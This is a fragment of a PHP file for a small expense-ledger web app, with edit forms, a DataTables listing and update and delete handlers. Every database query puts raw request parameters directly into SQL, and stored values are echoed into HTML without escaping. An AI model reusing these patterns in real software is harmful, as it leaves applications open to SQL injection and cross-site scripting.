	</div>
	<?php 
	
	break;
	
	case 41212:
	$eid=$_REQUEST['id'];
	//echo"$eid";
	$sel="select * from  hisab where id='$eid'";
	$res=mysqli_query($conn,$sel);
	$row=mysqli_fetch_array($res,MYSQLI_BOTH);
	//$a=$row['village'];
	//$b=$row['postoffice'];
	//$c=$row['dist'];
	//$d=$a." ".$b." ".$c;
	date_default_timezone_set('asia/kolkata');
	$date=date('Y-m-d');
	?>
	
	<div class="panel-group">
				<div class="panel panel-primary">
				
				
				<div class="panel-body">
				<form class="form-horizontal" id="myform" onsubmit="return updaterow(this)">
				<div class="form-group">
				<input type="hidden" value="<?php echo $row['id'];?>" name="id"/>
				<input type="hidden" value="<?php echo $date;?>" name="date"/>
				<label class="col-sm-3 control-label">Article</label>
				<div class="col-sm-8"><input type="text" class="form-control" value="<?php echo $row['product'];?>" name="product"/></div>
				</div>
				<br/>
				<div class="form-group">
				<label class="col-sm-3 control-label">Purpose</label>
				<div class="col-sm-8"><input type="text" class="form-control" value="<?php echo $row['purpose'];?>" name="purpose"/></div>
				</div>
				<br/>
				
				
				
				
				
				<br/>
				
				
				
				<div class="form-group">
				<label class="col-sm-3 control-label">Amount</label>
				<div class="col-sm-8"><input type="text" class="form-control" value="<?php echo $row['amount'];?>" name="amount"/></div>
				<br/>
				</div>
				
				
				<center><button class="btn btn-primary">Update</button>
				
				 &emsp;&emsp;&emsp;<button class="btn btn-danger" data-dismiss="modal"> Close</button>
				</center>
				</div>
				</form>
	</div>
	</div>
	
	
	
	<?php
	break;
	case 41312:
	$id=$_POST['id'];
	$product=$_POST['product'];
	$amount=$_POST['amount'];
	//$mname=$_POST['mname'];
	//$dob=$_POST['dob'];
	//$class=$_POST['class'];
	//$subject=$_POST['subject'];
	//$add=$_POST['add'];
	$purpose=$_POST['purpose'];
	date_default_timezone_set('asia/kolkata');
	$date=date('Y-m-d');
	
	$sel="select * from  hisab where id='$id'";
	$res=mysqli_query($conn,$sel);
	$row=mysqli_fetch_array($res,MYSQLI_BOTH);
	$date2=$row['date'];

	    $up="update hisab set product='$product',purpose='$purpose',amount='$amount' where id='$id' ";
	if(mysqli_query($conn,$up))
	{
		
		echo"Update";
	}
	else
	{
		echo"not update";
	}

	
	
	break;
	case 600:
	$id=$_POST['rowid'];
	$del=" delete from hisab where id='$id'";
	if(mysqli_query($conn,$del))
		{
			echo"ok";
		}
		else
		{
			echo"not delete";
		}
	
	break;
		case 6001:
	$id=$_POST['rowid'];
	$del=" delete from extra_add where id='$id'";
	if(mysqli_query($conn,$del))
		{
			echo"ok";
		}
		else
		{
			echo"not delete";
		}
	
	break;
	
	case 4115112:
	?>
	

	<script>
$(document).ready(function(){
    $('#example').DataTable({
        dom: 'Bfrtip',
        buttons: ['pdf','print','excel']
    });
	
});
</script>


	<div class="table-responsive">
<table id="example" class="display nowrap" cellspacing="0" width="100%" border="1px">
        <thead>
            <tr>
	<th>Sr No.</th><th>Article</th><th>Purpose</th><th>Amount</th><th>Date</th><th>Action</th>
	</tr>
        </thead>

<tbody>		
  <?php
	$sel="select * from extra_add order by id desc";
	$res=mysqli_query($conn,$sel);
	
	 
	$s=1;
	$am=0;
	while($row=mysqli_fetch_array($res,MYSQLI_BOTH))
	{
		$date1=$row['date'];
		$am=$row['amount']+$am;
	$date=date("d-m-Y",strtotime($date1));
	?>
	<tr>
	
	<td><?php echo $s++;?></td><td><textarea rows="3" cols="30"><?php echo $row['product'];?></textarea></td><td><?php echo $row['purpose'];?></td>
	<td><?php echo $row['amount'];?></td><td><?php echo $date;?></td><td><a href="javascript:;" onclick="editrow(<?php echo $row['id'];?>)"><span class="glyphicon glyphicon-pencil"></span></a> &emsp; <a href="javascript:;" onclick="deleterow(<?php echo $row['id'];?>)"><span class="glyphicon glyphicon-trash"></span></a></td>
	
	</tr>
	<?php
	}
	
	?>
	</tbody>
	<tfoot>
            <tr>
	<th>Sr No.</th><th>Article</th><th>Purpose</th><th><?php echo $am;?></th><th>Date</th><th>Action</th>
	</tr>
        </tfoot>
	</table>
	</div>
	<?php 
	
	break;
	
	case 4125112:
	$eid=$_REQUEST['id'];
	//echo"$eid";
	$sel="select * from  extra_add where id='$eid'";
	$res=mysqli_query($conn,$sel);
	$row=mysqli_fetch_array($res,MYSQLI_BOTH);
	//$a=$row['village'];
	//$b=$row['postoffice'];
	//$c=$row['dist'];
	//$d=$a." ".$b." ".$c;
	date_default_timezone_set('asia/kolkata');
	$date=date('Y-m-d');
	?>
	
	<div class="panel-group">
				<div class="panel panel-primary">
				
				
				<div class="panel-body">
				<form class="form-horizontal" id="myform" onsubmit="return updaterow(this)">
				<div class="form-group">
				<input type="hidden" value="<?php echo $row['id'];?>" name="id"/>
			
				<label class="col-sm-3 control-label">Article</label>
				<div class="col-sm-8"><input type="text" class="form-control" value="<?php echo $row['product'];?>" name="product"/></div>
				</div>
				<br/>
				<div class="form-group">
				<label class="col-sm-3 control-label">Purpose</label>
				<div class="col-sm-8"><input type="text" class="form-control" value="<?php echo $row['purpose'];?>" name="purpose"/></div>
				</div>
				<br/>
				
				<div class="form-group">
				<label class="col-sm-3 control-label">Date</label>
				<div class="col-sm-8"><input type="date" class="form-control" value="<?php echo $date;?>"  name="date"/></div>
				</div>
				<br/>
				
				
				
				<br/>
				
				
				
				<div class="form-group">
				<label class="col-sm-3 control-label">Amount</label>
				<div class="col-sm-8"><input type="text" class="form-control" value="<?php echo $row['amount'];?>" name="amount"/></div>
				<br/>
				</div>
				
				
				<center><button class="btn btn-primary">Update</button>
				
				 &emsp;&emsp;&emsp;<button class="btn btn-danger" data-dismiss="modal"> Close</button>
				</center>
				</div>
				</form>
	</div>
	</div>
	
	
	
	<?php
	break;
	case 4135112:
	$id=$_POST['id'];
	$product=$_POST['product'];
	$amount=$_POST['amount'];
	//$mname=$_POST['mname'];
	//$dob=$_POST['dob'];
	//$class=$_POST['class'];
	//$subject=$_POST['subject'];
	//$add=$_POST['add'];
	$purpose=$_POST['purpose'];
	date_default_timezone_set('asia/kolkata');
	echo $date=date('Y-m-d');
	
	$sel="select * from  extra_add where id='$id'";
	$res=mysqli_query($conn,$sel);
	$row=mysqli_fetch_array($res,MYSQLI_BOTH);
	 $date2=$row['date'];
	
	    $up="update extra_add set product='$product',purpose='$purpose',amount='$amount' where id='$id' ";
	if(mysqli_query($conn,$up))
	{
		
		echo"Update";
	}
	else
	{
		echo"not update";
	}
	
	
	
	break;
	
}

?>

MMCT - 2023